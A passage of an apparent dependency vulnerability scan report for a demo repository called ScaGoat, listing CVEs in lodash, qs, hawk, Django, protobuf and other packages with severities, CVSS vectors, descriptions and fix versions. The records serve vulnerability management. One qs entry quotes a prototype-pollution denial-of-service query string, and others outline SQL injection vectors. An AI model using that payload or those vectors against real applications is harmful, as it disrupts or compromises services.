'https://github.com/tapjs/tap-mocha-reporter/commit/57529706c268b81652297c82f55ed5e7dfc8a3b2', 'description': 'tap-mocha-reporter package versions before 5.0.2 are vulnerable to Prototype Pollution. This package allows for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE', 'packageVersion': '2.0.1', 'vector': '', 'packageName': 'tap-mocha-reporter', 'publishedDate': '2022-03-15T11:45:02Z', 'cvss': 8, 'status': 'fixed in 5.0.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-29167', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-29167', 'description': "Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\\'s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead. `Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.", 'packageVersion': '1.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2022-05-05T23:15:00Z', 'cvss': 7.5, 'status': 'fixed in 9.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-2515', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-2515', 'description': 'Hawk before 3.1.3 and 4.x before 4.1.1 allow remote attackers to cause a denial of service (CPU consumption or partial outage) via a long (1) header or (2) URI that is matched against an improper regular expression.', 'packageVersion': '1.0.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2016-01-19T00:00:00Z', 'cvss': 7, 'status': 'fixed in 4.1.1, 3.1.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-10744', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10744', 'description': 'Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-26T00:15:00Z', 'cvss': 9.1, 'status': 'fixed in 4.17.12'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-16487', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16487', 'description': 'A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'lodash', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 5.6, 'status': 'fixed in 4.17.11'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-1010266', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-1010266', 'description': 'lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.17.11.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-17T21:15:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.11'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3721', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3721', 'description': 'lodash node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of \\"Object\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'lodash', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.5'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2017-16026', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16026', 'description': 'Request is an http client. If a request is made using ```multipart```, and the body type is a ```number```, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.', 'packageVersion': '2.36.0', 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'request', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 4, 'status': 'fixed in 2.68.0, 2.68.0'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1000620', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000620', 'description': 'Eran Hammer cryptiles version 4.1.1 earlier contains a CWE-331: Insufficient Entropy vulnerability in randomDigits() method that can result in An attacker is more likely to be able to brute force something that was supposed to be random.. This attack appear to be exploitable via Depends upon the calling application.. This vulnerability appears to have been fixed in 4.1.2.', 'packageVersion': '0.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'cryptiles', 'publishedDate': '2018-07-19T00:00:00Z', 'cvss': 9, 'status': 'fixed in 4.1.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': "qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.", 'packageVersion': '0.6.6', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\"deps: qs@6.9.7\\" in its release description, is not vulnerable).', 'packageVersion': '0.6.6', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': "the web framework using ljharb\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.", 'packageVersion': '0.6.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2014-7191', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7191', 'description': 'The qs module before 1.0.0 in Node.js does not call the compact function for array data, which allows remote attackers to cause a denial of service (memory consumption) by using a large index value to create a sparse array.', 'packageVersion': '0.6.6', 'vector': 'AV:N/AC:L/Au:N/C:N/I:N/A:P', 'packageName': 'qs', 'publishedDate': '2014-10-19T01:55:00Z', 'cvss': 7, 'status': 'fixed in 1.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2014-10064', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2014-10064', 'description': 'The qs module before 1.0.0 does not have an option or default for specifying object depth and when parsing a string representing a deeply nested object will block the event loop for long periods of time. An attacker could leverage this to cause a temporary denial-of-service condition, for example, in a web application, other requests would not be processed while this blocking is occurring.', 'packageVersion': '0.6.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2018-05-31T20:29:00Z', 'cvss': 7, 'status': 'fixed in 1.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3728', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3728', 'description': 'hoek node module before 4.2.0 and 5.0.x before 5.0.3 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via \\\'merge\\\' and \\\'applyToDefaults\\\' functions, which allows a malicious user to modify the prototype of \\"Object\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '0.9.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2018-03-30T19:29:00Z', 'cvss': 8.8, 'status': 'fixed in 5.0.3, 4.2.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-36604', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36604', 'description': 'hoek before 8.5.1 and 9.x before 9.0.3 allows prototype poisoning in the clone function.', 'packageVersion': '0.9.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2022-09-23T06:15:00Z', 'cvss': 8.1, 'status': 'fixed in 9.0.3, 8.5.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-33623', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-33623', 'description': 'The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method.', 'packageVersion': '1.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'trim-newlines', 'publishedDate': '2021-05-28T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.1, 3.0.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0169', 'link': 'https://github.com/mishoo/UglifyJS/pull/5134', 'description': 'uglify-js package versions before 3.14.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via minify() function that uses vulnerable regex.', 'packageVersion': '2.4.24', 'vector': '', 'packageName': 'uglify-js', 'publishedDate': '2021-12-23T10:05:50Z', 'cvss': 5.3, 'status': 'fixed in 3.14.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2015-8858', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-8858', 'description': 'The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \\"regular expression denial of service (ReDoS).\\"', 'packageVersion': '2.4.24', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'uglify-js', 'publishedDate': '2017-01-23T21:59:00Z', 'cvss': 7, 'status': 'fixed in 2.6.0'}, {'severity': 'medium', 'cveId': 'CVE-2017-16137', 'link': '', 'description': '', 'packageVersion': '2.3.0', 'vector': '', 'packageName': 'helmet', 'publishedDate': '', 'cvss': 5.3, 'status': 'fixed in 3.8.2', 'fixVersion': '3.8.2', 'causePackageName': 'debug', 'causePackageVersion': '2.2.0'}, {'severity': 'moderate', 'cveId': 'CVE-2019-2391', 'link': '', 'description': '', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '', 'cvss': 4, 'status': 'fixed in 3.1.13', 'fixVersion': '3.1.13', 'causePackageName': 'bson', 'causePackageVersion': '1.0.9'}, {'severity': 'critical', 'cveId': 'CVE-2020-7610', 'link': '', 'description': '', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '', 'cvss': 9.8, 'status': 'fixed in 3.1.13', 'fixVersion': '3.1.13', 'causePackageName': 'bson', 'causePackageVersion': '1.0.9'}, {'severity': 'moderate', 'cveId': 'GHSA-c3m8-x3cg-qm2c', 'link': '', 'description': '', 'packageVersion': '2.3.0', 'vector': '', 'packageName': 'helmet', 'publishedDate': '', 'cvss': 4, 'status': 'fixed in 3.21.3', 'fixVersion': '3.21.3', 'causePackageName': 'helmet-csp', 'causePackageVersion': '1.2.2'}], 'dependencyTreeS3ObjectKey': 'dependency_tree/ajbara/ajbara_cli_repo/ScaGoat-main/1670509263116/src/dependency-tree-package-lock.json', 'email': '', 'customerName': 'ajbara', 'dependencies': {'8': [9, 10], '9': [595], '22': [23, 24], '23': [29, 36, 92, 268, 354, 357, 358, 61, 592, 593, 333, 96, 99], '24': [25], '50': [51, 52, 53, 54, 55, 56, 57], '51': [127, 53, 128, 129, 55, 130, 131, 132, 133], '52': [31, 159, 55, 160], '54': [58], '56': [379, 355], '58': [59, 60, 61], '59': [61], '60': [61], '65': [66], '76': [77, 78, 79, 80, 81, 82, 83, 84, 85, 86], '79': [248], '81': [80, 151, 346, 236, 492], '82': [495], '83': [290], '85': [77, 81, 82, 195], '86': [589, 9], '90': [49, 91], '92': [30, 36, 93, 94, 55, 95, 96, 97, 98, 99], '93': [100], '94': [93, 369, 370, 371], '96': [50, 79, 159, 93, 400, 994, 995, 996], '97': [54, 55, 997], '98': [354], '99': [268, 354, 333, 957], '101': [102, 103, 104, 105, 106], '102': [106, 110, 111], '104': [108, 109, 112], '105': [107, 115, 116, 117, 118, 119], '106': [107, 110, 120, 111, 121, 122], '109': [113, 114], '115': [135, 252, 137, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264], '117': [591], '119': [414], '127': [177, 178], '129': [128, 468, 55], '130': [93, 100, 356, 98], '131': [506], '132': [31, 128, 100, 130], '133': [1049, 55], '135': [136, 137], '137': [136, 300, 301], '138': [139], '139': [1022, 269, 151, 553, 969, 970], '148': [22, 43, 92, 149, 150, 151, 152, 153, 154, 155, 156, 157], '149': [65, 404], '150': [417, 418], '152': [64], '153': [419], '156': [427, 23, 952], '159': [161], '160': [159, 912], '161': [505, 512, 513], '168': [169, 111, 170], '170': [107, 110, 120, 111, 538, 121, 122], '171': [172, 173, 174], '172': [176, 515, 173], '173': [20], '174': [172, 173], '177': [178], '178': [55], '188': [189, 190, 191, 192], '189': [193], '190': [189, 194, 83, 195], '197': [72], '198': [199], '200': [201], '228': [229, 230, 231], '231': [948], '232': [203, 204, 228, 233], '233': [151, 234, 235, 80, 236], '252': [135, 137, 301, 253, 312, 313, 306, 256], '253': [135, 467], '254': [467], '255': [135, 467], '257': [135, 267], '259': [135, 267, 301, 258], '260': [135, 267], '261': [135, 137, 308], '262': [508, 509, 521, 306, 314], '263': [312, 313, 534, 535], '264': [46, 135, 297, 381, 467, 530], '267': [258], '268': [58, 55], '297': [135, 298, 136, 137, 299, 300, 301, 302, 303, 304, 255, 305, 306, 307, 308, 258, 259, 309, 310, 311], '298': [303, 254, 314], '299': [135, 137], '300': [136], '302': [137, 300, 261], '306': [467], '307': [135], '309': [135, 267], '310': [135, 267], '311': [136, 465, 301, 262], '314': [301], '319': [320], '320': [114], '331': [79, 159, 93, 332, 333, 96, 99], '333': [354, 957], '335': [8, 34, 76, 198, 78, 336, 204, 79, 80, 292, 194, 318, 337, 338, 339, 340, 83, 191, 341, 342, 84, 343, 199, 344, 345, 346, 236, 86, 347, 348], '337': [79, 292, 194, 83, 191, 236, 195], '342': [399, 503], '344': [79, 80, 271, 292, 194, 318, 338, 81, 594, 5, 83, 343, 236], '345': [292, 194, 191, 344], '349': [350, 204, 79, 351, 352, 191, 199, 231], '354': [41, 355], '355': [356], '356': [55], '357': [36, 54, 331, 93, 358, 333, 96, 99], '358': [400], '369': [506], '371': [369, 370], '377': [101, 275, 109, 378], '378': [121, 711, 939, 105, 170], '384': [385, 168, 175, 110, 377, 386, 117, 387, 388, 389, 390, 391, 392, 393, 394, 170], '386': [101, 148, 396, 397, 394], '387': [385, 112, 612, 613], '388': [103, 557], '390': [113, 114], '392': [937, 591], '393': [138, 990], '394': [1058, 1059, 116, 117, 1060, 119], '396': [90], '397': [319], '414': [403, 415, 151, 396, 416, 155], '415': [416, 500], '416': [500], '417': [419], '467': [301], '468': [369, 469], '469': [470], '472': [188, 276, 473, 401, 474, 475, 476, 477, 478, 479, 480, 481], '474': [142, 200, 482, 483], '477': [488], '479': [617], '505': [506], '506': [470], '508': [465], '509': [135, 467], '512': [506], '515': [516], '521': [467], '530': [46, 135, 297, 381, 467], '535': [135, 137], '559': [502], '592': [29, 36, 268, 354, 358, 536, 61, 593, 333, 96, 99], '593': [55], '604': [315, 605, 606], '605': [123, 610], '606': [68, 69, 607, 126, 206, 151, 609], '607': [608], '610': [886, 964], '613': [140, 171, 250, 865, 172, 1070, 1078], '614': [79, 82, 615], '711': [611], '839': [68], '865': [559], '912': [205, 159, 506], '952': [206, 151, 68, 938, 608, 953, 609], '953': [608], '957': [971], '969': [970], '980': [318, 338, 981, 191, 982], '995': [45, 251, 967, 998, 999], '997': [506], '1016': [390, 1017], '1017': [107, 1039, 899, 1040], '1039': [13], '1040': [798, 902, 801, 250], '1049': [1050, 839, 128]}, 'repositoryId': ''}, '/requirements.txt': {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '', 'sourceType': 'CLI', 'vulnerabilities': [ {'cveId': 'CVE-2022-1941', 'status': 'fixed in 4.21.6, 3.20.2, 3.19.5, 3.18.3', 'severity': 'high', 'packageName': 'protobuf', 'packageVersion': '3.18.1', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-1941', 'cvss': 7, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'A parsing vulnerability for the MessageSet type in the ProtocolBuffers versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 3.21.5 for protobuf-cpp, and versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 4.21.5 for protobuf-python can lead to out of memory failures. A specially crafted message with multiple key-value per elements creates parsing issues, and can lead to a Denial of Service against services receiving unsanitized input. We recommend upgrading to versions 3.18.3, 3.19.5, 3.20.2, 3.21.6 for protobuf-cpp and 3.18.3, 3.19.5, 3.20.2, 4.21.6 for protobuf-python. Versions for 3.16 and 3.17 are no longer updated.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2022-09-22T15:15:00Z'}, {'cveId': 'CVE-2021-44420', 'status': 'fixed in 3.2.10, 3.1.14, 2.2.25', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-44420', 'cvss': 7.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L', 'description': 'In Django 2.2 before 2.2.25, 3.1 before 3.1.14, and 3.2 before 3.2.10, HTTP requests for URLs with trailing newlines could bypass upstream access control based on URL paths.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-12-08T00:15:00Z'}, {'cveId': 'CVE-2021-45452', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'medium', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45452', 'cvss': 5.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'description': 'Storage.save in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1 allows directory traversal if crafted filenames are directly passed to it.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2022-01-05T00:15:00Z'}, {'cveId': 'CVE-2021-45116', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45116', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'description': "An issue was discovered in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1. Due to leveraging the Django Template Language\\'s variable resolution logic, the dictsort template filter was potentially vulnerable to information disclosure, or an unintended method call, if passed a suitably crafted key.", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2022-01-05T00:15:00Z'}, {'cveId': 'CVE-2021-45115', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45115', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'An issue was discovered in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1. UserAttributeSimilarityValidator incurred significant overhead in evaluating a submitted password that was artificially large in relation to the comparison values. In a situation where access to user registration was unrestricted, this provided a potential vector for a denial-of-service attack.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2022-01-05T00:15:00Z'}, {'cveId': 'CVE-2022-22818', 'status': 'fixed in 4.0.2, 3.2.12, 2.2.27', 'severity': 'medium', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-22818', 'cvss': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'The {% debug %} template tag in Django 2.2 before 2.2.27, 3.2 before 3.2.12, and 4.0 before 4.0.2 does not properly encode the current context. This may lead to XSS.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2022-02-03T02:15:00Z'}, {'cveId': 'CVE-2022-23833', 'status': 'fixed in 4.0.2, 3.2.12, 2.2.27', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-23833', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'An issue was discovered in MultiPartParser in Django 2.2 before 2.2.27, 3.2 before 3.2.12, and 4.0 before 4.0.2. Passing certain inputs to multipart forms could result in an infinite loop when parsing files.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2022-02-03T02:15:00Z'}, {'cveId': 'CVE-2022-28346', 'status': 'fixed in 4.0.4, 3.2.13, 2.2.28', 'severity': 'critical', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-28346', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2022-04-12T05:15:00Z'}, {'cveId': 'CVE-2022-28347', 'status': 'fixed in 4.0.4, 3.2.13, 2.2.28', 'severity': 'critical', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-28347', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2022-04-12T05:15:00Z'}, {'cveId': 'CVE-2022-36359', 'status': 'fixed in 4.0.7, 4.0, 3.2.15', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-36359', 'cvss': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'An issue was discovered in the HTTP FileResponse class in Django 3.2 before 3.2.15 and 4.0 before 4.0.7. An application is vulnerable to a reflected file download (RFD) attack that sets the Content-Disposition header of a FileResponse when the filename is derived from user-supplied input.', 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2022-08-03T14:15:00Z'}, {'cveId': 'CVE-2022-34265', 'status': 'fixed in 4.0.6, 4.0, 3.2.14', 'severity': 'critical', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-34265', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc() and Extract() database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind 